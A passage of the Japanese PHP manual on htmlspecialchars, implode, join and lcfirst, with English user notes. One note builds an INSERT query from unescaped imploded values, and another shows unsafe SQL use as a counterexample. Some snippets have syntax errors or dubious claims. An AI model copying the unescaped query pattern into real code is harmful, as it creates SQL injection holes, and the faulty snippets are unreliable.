For PHP4 Compatibility:

<?php

function htmlspecialchars_decode_php4 ($str) {
    return strtr($str, array_flip(get_html_translation_table(HTML_SPECIALCHARS)));
}

?>


特殊文字を HTML エンティティに変換する

  • ≪ htmlspecialchars_decode
  • implode ≫
  • PHP Manual
  • String 関数
  • 特殊文字を HTML エンティティに変換する

htmlspecialchars

(PHP 4, PHP 5, PHP 7, PHP 8)

htmlspecialchars — 特殊文字を HTML エンティティに変換する

説明

htmlspecialchars ( string $string , int $flags = ENT_COMPAT , string|null $encoding = null , bool $double_encode = true ) : string

文字の中には HTML において特殊な意味を持つものがあり、 それらの本来の値を表示したければ HTML の表現形式に変換してやらなければなりません。 この関数は、これらの変換を行った結果の文字列を返します。 入力文字列の中で名前付きエンティティに関連づけられたものを すべて変換する必要がある場合には、代わりに htmlentities() を使用してください。

この関数への入力文字列と最終的なドキュメントとの間で文字セットが一致している場合は、 この関数を使えば HTML ドキュメントに組み込むための準備として十分です。 しかし、この関数への入力の中に、最終的なドキュメントの文字セットでは符号化できない文字がある場合もあります。 そんな文字も (数値エンティティや名前つきエンティティなどで) 残したい場合は、 この関数と htmlentities() (これは、名前付きエンティティに対応する文字しか置換しません) を使うだけでは不十分です。そんな場合は mb_encode_numericentity() を使う必要があります。

変換対象となる文字
変換前 | 変換語
& (アンパサンド) | &amp;
" (ダブルクォート) | ENT_NOQUOTES が指定されていない場合、&quot;
' (シングルクォート) | &#039; (ENT_HTML401 の場合) あるいは &apos; ( ENT_XML1、ENT_XHTML、 ENT_HTML5 の場合)。ただし ENT_QUOTES が指定されている場合に限る
< (小なり) | &lt;
> (大なり) | &gt;

パラメータ

string

変換される文字列。

flags

以下のフラグを組み合わせたビットマスクです。 クォートや無効な符号単位シーケンス、そして文書型の扱いを指定します。 デフォルトは ENT_COMPAT | ENT_HTML401 です。

利用可能な flags 定数
定数名 | 説明
ENT_COMPAT | ダブルクオートは変換しますがシングルクオートは変換しません。
ENT_QUOTES | シングルクオートとダブルクオートを共に変換します。
ENT_NOQUOTES | シングルクオートとダブルクオートは共に変換されません。
ENT_IGNORE | 無効な符号単位シーケンスを含む文字列を渡したときに、 空の文字列を返すのではなく無効な部分を切り捨てるようになります。 このフラグは使わないようにしましょう。 » セキュリティの問題が発生する可能性があります。
ENT_SUBSTITUTE | 無効な符号単位シーケンスを含む文字列を渡したときに、 空の文字列を返すのではなく Unicode の置換文字に置き換えます。 UTF-8 の場合は U+FFFD、それ以外の場合は &#xFFFD; となります。
ENT_DISALLOWED | 指定した文書型において無効な符号位置を、Unicode の代替文字である U+FFFD (UTF-8) あるいは &#xFFFD; で置き換えます。 これを設定しなければ、無効な符号位置をそのまま残します。 これは、外部コンテンツを埋め込んだ XML 文書を整形式に保つために有用です。
ENT_HTML401 | コードを HTML 4.01 として処理します。
ENT_XML1 | コードを XML 1 として処理します。
ENT_XHTML | コードを XHTML として処理します。
ENT_HTML5 | コードを HTML 5 として処理します。

encoding

オプションの引数。文字を変換するときに使うエンコーディングを定義します。

省略した場合の encoding のデフォルト値は、 default_charset の値を使います。

技術的にはこの引数を省略可能ですが、 default_charset の指定が入力とは違う文字セットになっている可能性もあるので、 適切な値を指定しておくことを強く推奨します。

この関数を使ううえでは ISO-8859-1 と ISO-8859-15、 UTF-8、cp866、 cp1251、cp1252 そして KOI8-R は事実上同等です。 string 自体がそのエンコーディングにおける有効な文字列である限り、 これらのエンコーディングでは htmlspecialchars() の影響が及ぶ文字がみな同じ位置にあるからです。

以下の文字セットをサポートします。

サポートする文字セット
文字セット | エイリアス | 説明
ISO-8859-1 | ISO8859-1 | 西欧、Latin-1
ISO-8859-5 | ISO8859-5 | ほとんど使われないキリル文字セット (Latin/Cyrillic)。
ISO-8859-15 | ISO8859-15 | 西欧、Latin-9 。Latin-1(ISO-8859-1) に欠けている ユーロ記号やフランス・フィンランドの文字を追加したもの。
UTF-8 | ASCII 互換のマルチバイト 8 ビット Unicode 。
cp866 | ibm866, 866 | DOS 固有のキリル文字セット。
cp1251 | Windows-1251, win-1251, 1251 | Windows 固有のキリル文字セット。
cp1252 | Windows-1252, 1252 | 西欧のための Windows 固有の文字セット。
KOI8-R | koi8-ru, koi8r | ロシア語。
BIG5 | 950 | 繁体字中国語。主に台湾で使用されます。
GB2312 | 936 | 簡体字中国語。国の標準文字セットです。
BIG5-HKSCS | Big5 に香港の拡張を含めたもの。繁体字中国語。
Shift_JIS | SJIS, SJIS-win, cp932, 932 | 日本語。
EUC-JP | EUCJP, eucJP-win | 日本語。
MacRoman | Mac OS で使われる文字セット。
'' 空文字列を指定すると、 スクリプトのエンコーディング (Zend multibyte)、 default_charset、 そして現在のロケール (nl_langinfo() および setlocale() を参照ください) の順でエンコーディングを検出します。 この方法はおすすめしません。

注意: これら以外の文字セットは理解できません。 かわりにデフォルトのエンコーディングを使用し、警告を発生させます。

double_encode

double_encode をオフにすると、PHP は既存の html エンティティをエンコードしません。 デフォルトでは、既存のエンティティも含めてすべてを変換します。

返り値

変換後の文字列を返します。

入力の string の中に エンコーディング encoding における無効なコードユニットシーケンスが含まれており、 かつ ENT_IGNORE フラグが設定されていなければ、 htmlspecialchars() は空文字列を返します。

例

例1 htmlspecialchars() の例

<?php
$new = htmlspecialchars("<a href='test'>Test</a>", ENT_QUOTES);
echo $new; // &lt;a href=&#039;test&#039;&gt;Test&lt;/a&gt;
?>

注意

注意:

この関数は上記のあげたもの以外に関しては一切の変換を行わないことに注意してください。 すべての変換を行うには htmlentities() を参照してください。

注意:

flags の値が曖昧な場合、以下のルールが適用されます:

  • ENT_COMPAT, ENT_QUOTES, ENT_NOQUOTES のいずれも存在しない場合、 デフォルトは ENT_NOQUOTES になります。
  • ENT_COMPAT, ENT_QUOTES, ENT_NOQUOTES のうちひとつ以上が存在する場合、 ENT_QUOTES がもっとも優先度が高くなり、 その後に ENT_COMPAT が続きます。
  • ENT_HTML401, ENT_HTML5, ENT_XHTML, ENT_XML1 のいずれも存在しなければ、 デフォルトは ENT_HTML401 になります。
  • ENT_HTML401, ENT_HTML5, ENT_XHTML, ENT_XML1 のうちひとつ以上が存在している場合、 ENT_HTML5 が最も優先度が高くなり、 ENT_XHTML, ENT_XML1 そして ENT_HTML401 の順に続きます。
  • ENT_DISALLOWED, ENT_IGNORE, ENT_SUBSTITUTE のうち、ひとつ以上が存在している場合、 ENT_IGNORE の優先度がもっとも高くなり、 ENT_SUBSTITUTE がその後に続きます。

参考

  • get_html_translation_table() - htmlspecialchars および htmlentities で使用される変換テーブルを返す
  • htmlspecialchars_decode() - 特殊な HTML エンティティを文字に戻す
  • strip_tags() - 文字列から HTML および PHP タグを取り除く
  • htmlentities() - 適用可能な文字を全て HTML エンティティに変換する
  • nl2br() - 改行文字の前に HTML の改行タグを挿入する

User Contributed Notes

qshing1437 at hotmail dot com 22-Jul-2019 05:11
If you use htmlspecialchars() to escape any HTML attribute, make sure use double quote instead of single quote for the attribute.

For Example,

> Wrap with Single Quote
<?php
echo "<p title='"  . htmlspecialchars("Hello\"s\'world") . "'">

// title will end up Hello"s\ and rest of the text after single quote will be cut off.
?>

> Wrap with Double quote :
<?php
echo '<p title="'  . htmlspecialchars("Hello\"s\'world") . '"'>

// title will show up correctly as Hello"s'world
?>
PoV 17-May-2015 11:59
Be aware of the encoding of your source files!!!

Some of the suggestions here make reference to workarounds where you hard-code an encoding.

<?php
  echo htmlspecialchars('<b>Wormann</b>');  // Why isn't this working?
?>

As it turns out, it may actually be your text editor that is to blame.

As of PHP 5.4, htmlspecialchars now defaults to the UTF-8 encoding. That said, many text editors default to non-UTF encodings like ISO-8859-1 (i.e. Latin-1) or WIN-1252. If you change the encoding of the file to UTF-8, the code above will now work (i.e. the o is encoded differently in UTF-8 and ISO-8859-1, and you need the UTF-8 version).

Make sure you are editing in UTF-8 Unicode mode! Check your UI or manual for how to convert files to Unicode. It's also a good idea to figure out where to look in your UI to see what the current file encoding is.
Felix D. 09-Jan-2014 11:00
Another thing important to mention is that
htmlspecialchars(NULL)
returnes an empty string and not NULL!
support at playnext dot ru 03-Oct-2013 08:31
For those having problems after the change of default value of $encoding argument to UTF-8 since PHP 5.4.

If your old non-UTF8 projects ruined - pls consider:
1. http://php.net/manual/en/function.override-function.php
2. http://php.net/manual/ru/function.runkit-function-redefine.php

The idea - you override the built-in htmlspecialchars() function with your customized variant which is able to respect non UTF-8 default encoding. This small piece of code can be then easily inserted somewhere at the start of yout project. No need to rewrite all htmlspecialchars() entries globally.

I've spent several hours with both approaches. Variant 1 looks good especaially in combination with http://www.php.net/manual/en/function.rename-function.php as it allows to call original htmlspecialchars() with just altered default args. The code could be as follows:

<?php
rename_function('htmlspecialchars', 'renamed_htmlspecialchars');
function overriden_htmlspecialchars($string, $flags=NULL, $encoding='cp1251', $double_encode=true) {
    $flags = $flags ? $flags : (ENT_COMPAT|ENT_HTML401);
    return renamed_htmlspecialchars($string, $flags, $encoding, $double_encode);
}
override_function('htmlspecialchars', '$string, $flags, $encoding, $double_encode', 'return overriden_htmlspecialchars($string, $flags, $encoding, $double_encode);');
?>

Unfortunatelly this didn't work for me properly - my site managed to call overriden function but not every time I reloaded the pages. Moreover other PHP sites crashed under my Apache server as they suddenly started blaming htmlspecialchars() was not defined. I suppose I had to spend more time to make it work thread/request/site/whatever-safe.

So I switched to runkit (variant 2). It worked for me, although even after trying runkit_function_rename()+runkit_function_add() I didn't managed to recall original htmlspecialchars() function. So as a quick solution I decided to call htmlentities() instead:

<?php
function overriden_htmlspecialchars($string, $flags=NULL, $encoding='UTF-8', $double_encode=true) {
    $flags = $flags ? $flags : (ENT_COMPAT|ENT_HTML401);
    $encoding = $encoding ? $encoding : 'cp1251';
    return htmlentities($string, $flags, $encoding, $double_encode);
}
runkit_function_redefine('htmlspecialchars', '$string, $flags, $encoding, $double_encode', 'return overriden_htmlspecialchars($string, $flags, $encoding, $double_encode);');
?>

You may be able to implement your more powerfull overriden function.
Good luck!
Dave 20-Jun-2013 11:59
As of PHP 5.4 they changed default encoding from "ISO-8859-1" to "UTF-8". So if you get null from htmlspecialchars or htmlentities

where you have only set
<?php
echo htmlspecialchars($string);
echo htmlentities($string);
?>

you can fix it by
<?php
echo htmlspecialchars($string, ENT_COMPAT,'ISO-8859-1', true);
echo htmlentities($string, ENT_COMPAT,'ISO-8859-1', true);
?>

On linux you can find the scripts you need to fix by

grep -Rl "htmlspecialchars\\|htmlentities" /path/to/php/scripts/
minder at ufive dot unibe dot ch 19-May-2013 01:06
Problem

In many PHP legacy products the function htmlspecialchars($string) is used to convert characters like < and > and quotes a.s.o to HTML-entities. That avoids the interpretation of HTML Tags and asymmetric quote situations.

Since PHP 5.4 for $string in htmlspecialchars($string) utf8 characters are expected if no charset is defined explicitly as third parameter in the function. Legacy products are mostly in Latin1 (alias iso-8859-1) what makes the functions htmlspecialchars(), htmlentites() and html_entity_decode() to return empty strings if a special character, e. g. a German Umlaut, is present in $string:

PHP<5.4

echo htmlspecialchars('<b>Woermann</b>') //Output: &lt;b&gt;Woermann&lt;b&gt;
echo htmlspecialchars('Wormann') //Output: &lt;b&gt;Wormann&lt;b&gt;

PHP=5.4

echo htmlspecialchars('<b>Woermann</b>') //Output: &lt;b&gt;Woermann&lt;b&gt;
echo htmlspecialchars('<b>Wormann</b>') //Output: empty

Three alternative solutions

a) Not runnig legacy products on PHP 5.4
b) Change all find spots in your code from
htmlspecialchars($string) and *** to
htmlspecialchars($string, ENT_COMPAT | ENT_HTML401, 'ISO-8859-1')
c) Replace all htmlspecialchars() and *** with a new self-made function

*** The same is true for htmlentities() and html_entity_decode();

Solution c

1 Make Search and Replace in the concerned legacy project:
Search for:        htmlspecialchars
Replace with:   htmlXspecialchars
Search for:        htmlentities
Replace with:   htmlXentities
Search for:        html_entity_decode
Replace with:   htmlX_entity_decode
2a Copy and paste the following three functions into an existing already everywhere included PHP-file in your legacy project. (of course that PHP-file must be included only once per request, otherwise you will get a Redeclare Function Fatal Error).

function htmlXspecialchars($string, $ent=ENT_COMPAT, $charset='ISO-8859-1') {
return htmlspecialchars($string, $ent, $charset);
}

function htmlXentities($string, $ent=ENT_COMPAT, $charset='ISO-8859-1') {
return htmlentities($string, $ent, $charset);
}

function htmlX_entity_decode($string, $ent=ENT_COMPAT, $charset='ISO-8859-1') {
return html_entity_decode($string, $ent, $charset);
}

or 2b crate a new PHP-file containing the three functions mentioned above, let's say, z. B. htmlXfunctions.inc.php and include it on the first line of every PHP-file in your legacy product like this: require_once('htmlXfunctions.inc.php').
Mike Robinson 14-Mar-2013 12:46
Unfortunately, as far as I can tell, the PHP devs did not provide ANY way to set the default encoding used by htmlspecialchars() or htmlentities(), even though they changed the default encoding in PHP 5.4 (*golf clap for PHP devs*). To save someone the time of trying it, this does not work:

<?php
ini_set('default_charset', $charset); // doesn't work.
?>

Unfortunately, the only way to not have to explicitly provide the second and third parameter every single time this function is called (which gets extremely tedious) is to write your own function as a wrapper:

<?php
define('CHARSET', 'ISO-8859-1');
define('REPLACE_FLAGS', ENT_COMPAT | ENT_XHTML);

function html($string) {
    return htmlspecialchars($string, REPLACE_FLAGS, CHARSET);
}

echo html("n"); // works
?>

You can do the same for htmlentities()
ivan at lutrov dot com 15-Jun-2011 01:30
Be careful, the "charset" argument IS case sensitive. This is counter-intuitive and serves no practical purpose because the HTML spec actually has the opposite.
Thomasvdbulk at gmail dot com 28-Dec-2010 10:05
i searched for a while for a script, that could see the difference between an html tag and just < and > placed in the text,
the reason is that i recieve text from a database,
wich is inserted by an html form, and contains text and html tags,
the text can contain < and >, so does the tags,
with htmlspecialchars you can validate your text to XHTML,
but you'll also change the tags, like <b> to &lt;b&gt;,
so i needed a script that could see the difference between those two...
but i couldn't find one so i made my own one,
i havent fully tested it, but the parts i tested worked perfect!
just for people that were searching for something like this,
it may looks big, could be done easier, but it works for me, so im happy.

<?php
function fixtags($text){
$text = htmlspecialchars($text);
$text = preg_replace("/=/", "=\"\"", $text);
$text = preg_replace("/&quot;/", "&quot;\"", $text);
$tags = "/&lt;(\/|)(\w*)(\ |)(\w*)([\\\=]*)(?|(\")\"&quot;\"|)(?|(.*)?&quot;(\")|)([\ ]?)(\/|)&gt;/i";
$replacement = "<$1$2$3$4$5$6$7$8$9$10>";
$text = preg_replace($tags, $replacement, $text);
$text = preg_replace("/=\"\"/", "=", $text);
return $text;
}
?>

an example:

<?php
$string = "
this is smaller < than this<br />
this is greater > than this<br />
this is the same = as this<br />
<a href=\"http://www.example.com/example.php?test=test\">This is a link</a><br />
<b>Bold</b> <i>italic</i> etc...";
echo fixtags($string);
?>

will echo:
this is smaller &lt; than this<br />
this is greater &gt; than this<br />
this is the same = as this<br />
<a href="http://www.example.com/example.php?test=test">This is a link</a><br />
<b>Bold</b> <i>italic</i> etc...

I hope its helpfull!!
nachitox2000 [at] hotmail [dot] com 01-Jul-2010 05:57
I had problems with spanish special characters. So i think in using htmlspecialchars but my strings also contain HTML.
So I used this :) Hope it help

<?php
function htmlspanishchars($str)
{
    return str_replace(array("&lt;", "&gt;"), array("<", ">"), htmlspecialchars($str, ENT_NOQUOTES, "UTF-8"));
}
?>
Anonymous 18-Sep-2009 10:16
This may seem obvious, but it caused me some frustration. If you try and use htmlspecialchars with the $charset argument set and the string you run it on is not actually the same charset you specify, you get any empty string returned without any notice/warning/error.

<?php

$ok_utf8 = "A valid UTF-8 string";
$bad_utf8 = "An invalid UTF-8 string";

var_dump(htmlspecialchars($bad_utf8, ENT_NOQUOTES, 'UTF-8'));  // string(0) ""

var_dump(htmlspecialchars($ok_utf8, ENT_NOQUOTES, 'UTF-8'));  // string(20) "A valid UTF-8 string"

?>

So make sure your charsets are consistent

<?php

$bad_utf8 = "An invalid UTF-8 string";

// make sure it's really UTF-8
$bad_utf8 = mb_convert_encoding($bad_utf8, 'UTF-8', mb_detect_encoding($bad_utf8));

var_dump(htmlspecialchars($bad_utf8, ENT_NOQUOTES, 'UTF-8'));  // string(23) "An invalid UTF-8 string"

?>

I had this problem because a Mac user was submitting posts copy/pasted from a program and it contained weird chars in it.
Anonymous 16-Sep-2009 09:43
Just a few notes on how one can use htmlspecialchars() and htmlentities() to filter user input on forms for later display and/or database storage...

1. Use htmlspecialchars() to filter text input values for html input tags.  i.e.,

echo '<input name=userdata type=text value="'.htmlspecialchars($data).'" />';

2. Use htmlentities() to filter the same data values for most other kinds of html tags, i.e.,

echo '<p>'.htmlentities($data).'</p>';

3. Use your database escape string function to filter the data for database updates & insertions, for instance, using postgresql,

pg_query($connection,"UPDATE datatable SET datavalue='".pg_escape_string($data)."'");

This strategy seems to work well and consistently, without restricting anything the user might like to type and display, while still providing a good deal of protection against a wide variety of html and database escape sequence injections, which might otherwise be introduced through deliberate and/or accidental input of such character sequences by users submitting their input data via html forms.
Kenneth Kin Lum 08-Oct-2008 06:45
if your goal is just to protect your page from Cross Site Scripting (XSS) attack, or just to show HTML tags on a web page (showing <body> on the page, for example), then using htmlspecialchars() is good enough and better than using htmlentities().  A minor point is htmlspecialchars() is faster than htmlentities().  A more important point is, when we use  htmlspecialchars($s) in our code, it is automatically compatible with UTF-8 string.  Otherwise, if we use htmlentities($s), and there happens to be foreign characters in the string $s in UTF-8 encoding, then htmlentities() is going to mess it up, as it modifies the byte 0x80 to 0xFF in the string to entities like &eacute;.  (unless you specifically provide a second argument and a third argument to htmlentities(), with the third argument being "UTF-8").

The reason htmlspecialchars($s) already works with UTF-8 string is that, it changes bytes that are in the range 0x00 to 0x7F to &lt; etc, while leaving bytes in the range 0x80 to 0xFF unchanged.  We may wonder whether htmlspecialchars() may accidentally change any byte in a 2 to 4 byte UTF-8 character to &lt; etc.  The answer is, it won't.  When a UTF-8 character is 2 to 4 bytes long, all the bytes in this character is in the 0x80 to 0xFF range. None can be in the 0x00 to 0x7F range.  When a UTF-8 character is 1 byte long, it is just the same as ASCII, which is 7 bit, from 0x00 to 0x7F.  As a result, when a UTF-8 character is 1 byte long, htmlspecialchars($s) will do its job, and when the UTF-8 character is 2 to 4 bytes long, htmlspecialchars($s) will just pass those bytes unchanged.  So htmlspecialchars($s) will do the same job no matter whether $s is in ASCII, ISO-8859-1 (Latin-1), or UTF-8.
php dot net at orakio dot net 10-Apr-2008 11:26
I was recently exploring some code when I saw this being used to make data safe for "SQL".

This function should not be used to make data SQL safe (although to prevent phishing it is perfectly good).

Here is an example of how NOT to use this function:

<?php
$username = htmlspecialchars(trim("$_POST[username]"));

$uniqueuser = $realm_db->query("SELECT `login` FROM `accounts` WHERE `login` = '$username'");
?>

(Only other check on $_POST['username'] is to make sure it isn't empty which it is after trim on a white space only name)

The problem here is that it is left to default which allows single quote marks which are used in the sql query. Turning on magic quotes might fix it but you should not rely on magic quotes, in fact you should never use it and fix the code instead. There are also problems with \ not being escaped. Even if magic quotes were used there would be the problem of allowing usernames longer than the limit and having some really weird usernames given they are to be used outside of html, this just provide a front end for registering to another system using mysql. Of course using it on the output wouldn;t cause that problem.

Another way to make something of a fix would be to use ENT_QUOTE or do:

<?php
$uniqueuser = $realm_db->query('SELECT `login` FROM `accounts` WHERE `login` = "'.$username.'";');
?>

Eitherway none of these solutions are good practice and are not entirely unflawed. This function should simply never be used in such a fashion.

I hope this will prevent newbies using this function incorrectly (as they apparently do).
solar-energy 16-Jun-2007 03:21
also see function "urlencode()", useful for passing text with ampersand and other special chars through url

(i.e. the text is encoded as if sent from form using GET method)

e.g.

<?php
echo "<a href='foo.php?text=".urlencode("foo?&bar!")."'>link</a>";
?>

produces

<a href='foo.php?text=foo%3F%26bar%21'>link</a>

and if the link is followed, the $_GET["text"] in foo.php will contain "foo?&bar!"
11-Mar-2005 04:22
function htmlspecialchars_array($arr = array()) {
   $rs =  array();
   while(list($key,$val) = each($arr)) {
       if(is_array($val)) {
           $rs[$key] = htmlspecialchars_array($val);
       }
       else {
           $rs[$key] = htmlspecialchars($val, ENT_QUOTES);
       }
   }
   return $rs;
}
_____ at luukku dot com 14-Sep-2002 02:21
People, don't use ereg_replace for the most simple string replacing operations (replacing constant string with another).
Use str_replace.
ryan at ryano dot net 29-Jun-2001 03:06
Actually, if you're using >= 4.0.5, this should theoretically be quicker (less overhead anyway):

$text = str_replace(array("&gt;", "&lt;", "&quot;", "&amp;"), array(">", "<", "\"", "&"), $text);


配列要素を文字列により連結する

  • ≪ htmlspecialchars
  • join ≫
  • PHP Manual
  • String 関数
  • 配列要素を文字列により連結する

implode

(PHP 4, PHP 5, PHP 7, PHP 8)

implode — 配列要素を文字列により連結する

説明

implode ( string $separator , array $array ) : string

代替のシグネチャ(名前付き引数をサポートしていません):

implode ( array $array ) : string

古いシグネチャ(PHP 7.4.0 で非推奨となり、PHP 8.0.0 以降は削除されています):

implode ( array $array , string $separator ) : string

配列の要素を separator 文字列で連結します。

パラメータ

separator

デフォルトは空文字列です。

array

連結したい文字列の配列。

返り値

すべての配列要素の順序を変えずに、各要素間に separator 文字列をはさんで 1 つの文字列にして返します。

変更履歴

バージョン | 説明
8.0.0 | array の後に separator を渡すことは、サポートされなくなりました。
7.4.0 | array の後に separator を渡すこと (つまり、古いシグネチャを使うこと) は、推奨されなくなりました。

例

例1 implode() の例

<?php

$array = array('lastname', 'email', 'phone');
$comma_separated = implode(",", $array);

echo $comma_separated; // lastname,email,phone

// 空の配列を使うと空文字列となります
var_dump(implode('hello', array())); // string(0) ""

?>

注意

注意: この関数はバイナリデータに対応しています。

参考

  • explode() - 文字列を文字列により分割する
  • preg_split() - 正規表現で文字列を分割する
  • http_build_query() - URL エンコードされたクエリ文字列を生成する

User Contributed Notes

info at ensostudio dot ru 28-Aug-2020 05:32
<?php
 * Join pieces with a string recursively.
 *
 * @param mixed $glue String between pairs(glue) or an array pair's glue and key/value glue or $pieces.
 * @param iterable $pieces Pieces to implode (optional).
 * @return string Joined string
 */
function double_implode($glue, iterable $pieces = null): string
{
    $glue2 = null;
    if ($pieces === null) {
        $pieces = $glue;
        $glue = '';
    } elseif (is_array($glue)) {
        list($glue, $glue2) = $glue;
    }

    $result = [];
    foreach ($pieces as $key => $value) {
        $result[] = $glue2 === null ? $value : $key . $glue2 . $value;
    }
    return implode($glue, $result);
}
?>
Examples:
<?php
$array = ['a' => 1, 'b' => 2];
$str =  implode($array);
$str =  implode(', ', $array);
$str =  implode(['" ', '="'], $array);

$iterator = new ArrayIterator($array);
$str =  implode($iterator);
$str =  implode(', ', $iterator);
$str =  implode(['" ', '="'], $iterator);
?>
Honk der Hase 24-Apr-2020 05:43
If you want to implode an array as key-value pairs, this method comes in handy.
The third parameter is the symbol to be used between key and value.

<?php
function mapped_implode($glue, $array, $symbol = '=') {
    return implode($glue, array_map(
            function($k, $v) use($symbol) {
                return $k . $symbol . $v;
            },
            array_keys($array),
            array_values($array)
            )
        );
}

$arr = [
    'x'=> 5,
    'y'=> 7,
    'z'=> 99,
    'hello' => 'World',
    7 => 'Foo',
];

echo mapped_implode(', ', $arr, ' is ');

// output: x is 5, y is 7, z is 99, hello is World, 7 is Foo

?>
Rafael Pereira 02-Apr-2020 04:28
If you want to use a key inside array:

Example:
$arr=array(
array("id" => 1,"name" => "Test1"),
array("id" => 2,"name" => "Test2"),
);

echo implode_key(",",$arr, "name");
OUTPUT: Test1, Test2

function implode_key($glue, $arr, $key){
    $arr2=array();
    foreach($arr as $f){
        if(!isset($f[$key])) continue;
        $arr2[]=$f[$key];
    }
    return implode($glue, $arr2);
}
ASchmidt at Anamera dot net 23-Nov-2018 09:43
It's not obvious from the samples, if/how associative arrays are handled. The "implode" function acts on the array "values", disregarding any keys:

<?php
declare(strict_types=1);

$a = array( 'one','two','three' );
$b = array( '1st' => 'four', 'five', '3rd' => 'six' );

echo implode( ',', $a ),'/', implode( ',', $b );
?>

outputs:
one,two,three/four,five,six
admin at lanlink dot net dot au 15-Sep-2017 04:24
It is possible for an array to have numeric values, as well as string values. Implode will convert all numeric array elements to strings.

<?php
$test=implode(["one",2,3,"four",5.67]);
echo $test;
//outputs: "one23four5.67"
?>
Felix Rauch 30-Sep-2016 09:39
It might be worthwhile noting that the array supplied to implode() can contain objects, provided the objects implement the __toString() method.

Example:
<?php

class Foo
{
    protected $title;

    public function __construct($title)
    {
        $this->title = $title;
    }

    public function __toString()
    {
        return $this->title;
    }
}

$array = [
    new Foo('foo'),
    new Foo('bar'),
    new Foo('qux')
];

echo implode('; ', $array);
?>

will output:

foo; bar; qux
Anonymous 20-Jul-2015 11:55
null values are imploded too. You can use array_filter() to sort out null values.

<?php
$ar = array("hello", null, "world");
print(implode(',', $ar)); // hello,,world
print(implode(',', array_filter($ar, function($v){ return $v !== null; }))); // hello,world
?>
omar dot ajoue at kekanto dot com 18-Mar-2013 02:21
Can also be used for building tags or complex lists, like the following:

<?php

$elements = array('a', 'b', 'c');

echo "<ul><li>" . implode("</li><li>", $elements) . "</li></ul>";

?>

This is just an example, you can create a lot more just finding the right glue! ;)
Anonymous 26-Feb-2013 03:56
It may be worth noting that if you accidentally call implode on a string rather than an array, you do NOT get your string back, you get NULL:
<?php
var_dump(implode(':', 'xxxxx'));
?>
returns
NULL

This threw me for a little while.
masterandujar 03-Sep-2012 06:15
Even handier if you use the following:

<?php
$id_nums = array(1,6,12,18,24);

$id_nums = implode(", ", $id_nums);

$sqlquery = "Select name,email,phone from usertable where user_id IN ($id_nums)";

// $sqlquery becomes "Select name,email,phone from usertable where user_id IN (1,6,12,18,24)"
?>

Be sure to escape/sanitize/use prepared statements if you get the ids from users.
alexey dot klimko at gmail dot com 23-Jun-2011 05:04
If you want to implode an array of booleans, you will get a strange result:
<?php
var_dump(implode('',array(true, true, false, false, true)));
?>

Output:
string(3) "111"

TRUE became "1", FALSE became nothing.
houston_roadrunner at yahoo dot com 07-Apr-2009 11:50
it should be noted that an array with one or no elements works fine. for example:

<?php
    $a1 = array("1","2","3");
    $a2 = array("a");
    $a3 = array();

    echo "a1 is: '".implode("','",$a1)."'<br>";
    echo "a2 is: '".implode("','",$a2)."'<br>";
    echo "a3 is: '".implode("','",$a3)."'<br>";
?>

will produce:
===========
a1 is: '1','2','3'
a2 is: 'a'
a3 is: ''
php.net {at} nr78 {dot} net 30-Mar-2005 06:50
Also quite handy in INSERT statements:

<?php

   // array containing data
   $array = array(
      "name" => "John",
      "surname" => "Doe",
      "email" => "j.doe@intelligence.gov"
   );

   // build query...
   $sql  = "INSERT INTO table";

   // implode keys of $array...
   $sql .= " (`".implode("`, `", array_keys($array))."`)";

   // implode values of $array...
   $sql .= " VALUES ('".implode("', '", $array)."') ";

   // execute query...
   $result = mysql_query($sql) or die(mysql_error());

?>


implode のエイリアス

  • ≪ implode
  • lcfirst ≫
  • PHP Manual
  • String 関数
  • implode のエイリアス

join

(PHP 4, PHP 5, PHP 7, PHP 8)

join — implode() のエイリアス

説明

この関数は次の関数のエイリアスです。 implode().

User Contributed Notes

There are no user contributed notes for this page.


文字列の最初の文字を小文字にする

  • ≪ join
  • levenshtein ≫
  • PHP Manual
  • String 関数
  • 文字列の最初の文字を小文字にする

lcfirst

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

lcfirst — 文字列の最初の文字を小文字にする

説明

lcfirst ( string $string ) : string

string の最初の文字がアルファベットであれば、 それを小文字にします。

「アルファベット」かどうかというのは現在のロケールにより決定されます。 たとえば、デフォルトの "C" ロケールでは、a ウムラウト (a) は変換されません。

パラメータ

string

入力文字列。

返り値

変換後の文字列を返します。

例

例1 lcfirst() の例

<?php
$foo = 'HelloWorld';
$foo = lcfirst($foo);             // helloWorld

$bar = 'HELLO WORLD!';
$bar = lcfirst($bar);             // hELLO WORLD!
$bar = lcfirst(strtoupper($bar)); // hELLO WORLD!
?>

参考

  • ucfirst() - 文字列の最初の文字を大文字にする
  • strtolower() - 文字列を小文字にする
  • strtoupper() - 文字列を大文字にする
  • ucwords() - 文字列の各単語の最初の文字を大文字にする

User Contributed Notes

phpnet at katylavallee dot com 02-Apr-2009 08:50
Easiest work-around I've found for <5.3:
<?php

$string = "CamelCase"
$string{0} = strtolower($string{0})
echo $string; // outputs camelCase

?>
ahlers_wim at hotmail dot com 22-Nov-2008 09:48
As of PHP release 6 direct reference modification is not permitted any more.
Reference modification is the process of manipulating characters within a string by means of the instruction such as:
$str[0] in the code line: $str[0] = strtolower($str[0]);

For this reason I have recoded the lcfirst function (on function_exists('lcfirst') === false) as follows:

<?php
if ( false === function_exists('lcfirst') ):
    function lcfirst( $str )
    { return (string)(strtolower(substr($str,0,1)).substr($str,1));}
endif;
?>

Remarks:
Also notice that I have used the more modern scope delimeters (if:-endif;) and I have also removed the unnecessary intermediate result. That is, the manipulation is returned directly.
alex aulbach 06-Oct-2008 09:20
In some cases maybe more useful?

 $lower = strtolower( substr($upper,0,1) ) . substr($upper,1);
harmor 05-May-2008 03:43
A slight modification from Northie's post here ( http://us2.php.net/manual/en/function.ucfirst.php#68443), where lcfirst may not exist in your PHP build:

<?php

if(false === function_exists('lcfirst'))
{
    /**
     * Make a string's first character lowercase
     *
     * @param string $str
     * @return string the resulting string.
     */
    function lcfirst( $str ) {
        $str[0] = strtolower($str[0]);
        return (string)$str;
    }
}

/* Tests */
echo var_dump(lcFirst(NULL)).'<br />';    /* string(0) ""  */
echo var_dump(lcFirst(''))  .'<br />';    /* string(0) ""  */
echo var_dump(lcFirst('S')) .'<br />';    /* string(1) "S" */
echo var_dump(lcFirst('E')) .'<br />';    /* string(0) "?" */
echo var_dump(lcFirst('Hello World!!!')); /* string(14) "hello World!!!"  */


二つの文字列のレーベンシュタイン距離を計算する

  • ≪ lcfirst
  • localeconv ≫
  • PHP Manual
  • String 関数
  • 二つの文字列のレーベンシュタイン距離を計算する

levenshtein

(PHP 4 >= 4.0.1, PHP 5, PHP 7, PHP 8)

